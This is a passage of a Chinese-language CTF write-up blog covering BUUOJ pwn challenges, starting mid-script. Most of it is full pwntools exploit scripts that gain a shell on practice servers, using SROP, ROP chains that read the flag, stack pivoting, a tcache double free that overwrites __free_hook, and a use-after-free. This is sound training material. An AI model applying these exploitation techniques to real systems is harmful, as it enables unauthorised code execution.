  28. p.sendlineafter('Your choice :','4869')
  29. gdb.attach(p)
  30. pause()
  31. p.interactive()

一开始

image.png

后来

image.png

[V&N2020 公开赛]babybabypwn

这个是一个沙盒,禁用了一些系统调用的,可以用 seccomp-tools 工具看一下

image.png

image.png

程序运行的时候会直接给出 puts 函数的地址,同时后面调用了 15 号也就是 sigreturn

image.png

要用 SROP,然而我又忘了这是个什么东西了
语雀内容

  1. # coding=utf-8
  2. from pwn import *
  3. from LibcSearcher import LibcSearcher
  4. context.log_level = "debug"
  5. io = remote("node3.buuoj.cn",27360)
  6. # io = process("./VN2020babybabypwn")
  7. libc = ELF("./libc-2.23.so")
  8. elf = ELF("./pwn")
  9. context.arch = elf.arch
  10. io.recvuntil("0x")
  11. puts_addr = int(io.recv(12),16)
  12. print("puts_addr ---> ",hex(puts_addr))
  13. libcbase = puts_addr - libc.symbols["puts"]
  14. pop_rdi_ret = 0x021102 + libcbase
  15. pop_rsi_ret = 0x0202e8 + libcbase
  16. pop_rdx_ret = 0x001b92 + libcbase
  17. open_addr = libc.symbols["open"] + libcbase
  18. read_addr = libc.symbols["read"] + libcbase
  19. write_addr = libc.symbols["write"] + libcbase
  20. bss_addr = libc.bss() + libcbase
  21. print("bss_addr ---> ",hex(bss_addr))
  22. sigframe = SigreturnFrame()
  23. sigframe.rdi = 0
  24. sigframe.rsi = bss_addr
  25. sigframe.rdx = 0x100
  26. sigframe.rsp = bss_addr
  27. sigframe.rip = read_addr
  28. io.sendafter("message: ",str(sigframe)[8:])
  29. flag_addr = bss_addr + 168
  30. payload = p64(pop_rdi_ret) + p64(flag_addr) + p64(pop_rsi_ret) + p64(0) + p64(pop_rdx_ret) + p64(0) + p64(open_addr) #open('flag',0,0)
  31. payload += p64(pop_rdi_ret) + p64(3) + p64(pop_rsi_ret) + p64(bss_addr) + p64(pop_rdx_ret) + p64(0x100) + p64(read_addr) #read(3,bss_addr,0x100)
  32. payload += p64(pop_rdi_ret) + p64(1) + p64(pop_rsi_ret) + p64(bss_addr) + p64(pop_rdx_ret) + p64(0x100) + p64(write_addr) #write(1,bss_addr,0x100)
  33. print("len of payload --->",len(payload))
  34. payload += b"flag\x00"
  35. io.send(payload)
  36. io.interactive()

https://www.yuque.com/chenguangzhongdeyimoxiao/xx6p74/msf23y

wustctf2020_getshell

  1. from pwn import *
  2. #p=process('./wus')
  3. p=remote('node3.buuoj.cn',25217)
  4. shell_addr=0x804851b
  5. payload='a'*28+p32(shell_addr)
  6. p.sendline(payload)
  7. p.interactive()

ciscn_2019_es_7

又是 SROP

image.png

给了系统调用号 15 和 59

image.png

程序的流程是先往 esp-0x10 读入内容,然后输出 esp-0x10 往后 0x30大小的内容
我们拿到栈上的一个地址 0x7fffcfec1478-0x7fffcfec1360 = 0x118 = 280

image.png

那么拿到这个之后根据偏移就可以算出我们输入的内容的地址(leak_addr-0x118)

  1. from pwn import *
  2. context.log_level = 'debug'
  3. context.arch = 'amd64'
  4. #p=process('./ciscn')
  5. p=remote('node3.buuoj.cn',26454)
  6. vuln_addr=0x4004ED
  7. mov_eax_15=0x4004DA
  8. syscall_addr=0x400517
  9. #gdb.attach(p,'b *0x400503')
  10. payload='a'*16+p64(vuln_addr)
  11. p.sendline(payload)
  12. p.recvn(32)
  13. leak_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
  14. print hex(leak_addr)
  15. execve = SigreturnFrame()
  16. execve.rax=constants.SYS_execve
  17. execve.rdi=leak_addr - 280
  18. execve.rsi=0x0
  19. execve.rdx=0x0
  20. execve.rsp=leak_addr
  21. execve.rip=syscall_addr
  22. payload='/bin/sh\x00'+p64(0)+p64(mov_eax_15)+p64(syscall_addr)+str(execve)
  23. p.sendline(payload)
  24. p.interactive()

[BJDCTF 2nd]snake_dyn

卧槽?怎么还要密码?还有,我这不显示二维码呀!?
emmm,wsl 可以正常显示,扫码得到密码 sNaKes

image.png

连接之后输入 0x100 的名字就能出 flag

image.png

漏洞在于 strcpy 的时候如果没有 \x00 是不会截断的,而同时 flag 与 name 相距只有 0x100,所以只要输入 0x100 的内容,就会连带着 flag 一起输出来

ciscn_2019_s_4

后门地址:0x804854B,然而 echo flag 只能输出 “flag”,只能拿个 system 的地址
还有栈空间不够大,要栈迁移

image.png

leave;ret 的地址:0x080484b8

  1. from pwn import *
  2. #p=process('./ciscn')
  3. p=remote('node3.buuoj.cn',25010)
  4. context.log_level='debug'
  5. sys_addr=0x08048400
  6. leave_ret=0x080484b8
  7. #gdb.attach(p,'b *0x8048596')
  8. payload ='a'*0x24+'bbbb'
  9. p.sendafter('name?\n',payload)
  10. p.recvuntil('bbbb')
  11. leak_addr = u32(p.recv(4))
  12. print "======="
  13. print "0x%x" %leak_addr
  14. print "======="
  15. buf=leak_addr-0x38
  16. payload2=(p32(sys_addr)+p32(0xdeadbeef)+p32(buf+0xc)+'/bin/sh\x00')
  17. payload2=payload2.ljust(0x28,'a')+p32(buf-4)+p32(leave_ret)
  18. sleep(1)
  19. p.send(payload2)
  20. p.interactive()

看这个差值正好是 0x10,所以上面减去 0x38 实际上还是到了栈顶那里

image.png

看一下这题栈迁移图示,太爽了吧!!!直接放 excel 文件

ciscn 2019 s 4栈迁移.xlsx

hitcontraining_heapcreator

语雀内容

wustctf2020_getshell_2

给了后门,但是是这样的,/sh 也是可以拿到 shell 的,只需要数一下偏移就可以

image.png

  1. from pwn import *
  2. p=process('./pwn')
  3. #p=remote('node3.buuoj.cn',29539)
  4. context.log_level = 'debug'
  5. call_sys=0x8048529
  6. bin_sh=0x8048670
  7. payload='a'*28+p32(call_sys)+p32(bin_sh)
  8. p.sendafter('\n',payload)
  9. p.interactive()

[36]ciscn_2019_es_1

image.png

首先会申请 0x18 的 chunk,用来存放用户 malloc 的那个指针,申请的堆块的 size(dword 是四字节),以及 +12 的地方存放电话号码

image.png

call 的时候实际上 free 了,同时没有置为 0

image.png

申请一个大于 0x410 大小的泄漏 unsorted bin 地址,从而拿到 libc 基址,然后利用 tcache 的 double free 来改 free_hook 为 system 的地址
exp

  1. from pwn import *
  2. p=process('./ciscn')
  3. libc=ELF('./libc.so.6')
  4. #p=remote('node3.buuoj.cn',25010)
  5. context.log_level='debug'
  6. def add(size,name,call):
  7. p.sendlineafter("choice:",'1')
  8. p.sendlineafter("size of compary's name\n",str(size))
  9. p.sendlineafter("please input name:\n",name)
  10. p.sendlineafter("compary call:\n",call)
  11. def show(index):
  12. p.sendlineafter("choice:",'2')
  13. p.sendlineafter("the index:\n",str(index))
  14. def call(index):
  15. p.sendlineafter("choice:","3")
  16. p.sendlineafter("the index:\n",str(index))
  17. add(0x410,'yichen','123456789012')
  18. add(0x28,'writeup','666666666')
  19. add(0x68,'/bin/sh\x00','666666666')
  20. call(0)
  21. show(0)
  22. libcbase=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-96-0x10-libc.sym['__malloc_hook']
  23. free_hook=libcbase+libc.sym['__free_hook']
  24. system=libcbase+libc.sym['system']
  25. call(1)
  26. call(1)
  27. add(0x28,p64(free_hook),'111')
  28. add(0x28,'111','111')
  29. add(0x28,p64(system),'111')
  30. call(2)
  31. p.interactive()

mrctf2020_shellcode

emmm,IDA 不能用 F5 了,直接传 shellcode 就可以

pwnable_hacknote

在 free 之后没有置为 0,存在 UAF
每次用户 malloc 的时候会先申请 0x8 大小的 chunk 来存放 puts 函数的指针和给用户分配的 chunk 的地址

思路:
fastbin 是后进先出的,把用户申请的两个 chunk 给 free 之后也有两个程序自己申请的存放指针的 chunk,用户再去 malloc 0x8 的时候会用到这俩,把这俩给改掉

一开始申请了两个 chunk

image.png

free 之后再申请,看 0x804b040,这是程序自己申请的,0x804b000 则是分配给用户的

image.png

  1. from pwn import *
  2. context.log_level='debug'
  3. p=process('./hacknote')
  4. #p=remote('node3.buuoj.cn',29151)
  5. elf=ELF('./hacknote')
  6. libc=ELF('./libc.so.6')
  7. def add(size,content):
  8. p.sendlineafter("Your choice :","1")
  9. p.sendlineafter("Note size :",str(size))
  10. p.sendlineafter("Content :",content)
  11. def show(index):
  12. p.sendlineafter("Your choice :","3")
  13. p.sendlineafter("Index :",str(index))
  14. def delete(index):
  15. p.sendlineafter("Your choice :","2")
  16. p.sendlineafter("Index :",str(index))
  17. puts_func=0x804862B
  18. free_got=elf.got['free']
  19. add(0x20,"yichen")
  20. add(0x20,"writeup")
  21. delete(0)
  22. delete(1)
  23. add(0x8,p32(puts_func)+p32(free_got))
  24. show(0)
  25. free_addr=u32(p.recv(4))
  26. libc_base = free_addr - libc.symbols['free']
  27. sys_addr = libc.symbols['system'] + libc_base
  28. delete(2)
  29. add(0x8,p32(sys_addr)+";sh\x00")
  30. show(0)
  31. p.interactive()

hitcontraining_bamboobox

语雀内容

wustctf2020_closed

emmm,stdout 和 stderr 都被关了,用命令 exec 1>&0 把 stdout 重定向到 stdin,就能正常的交互了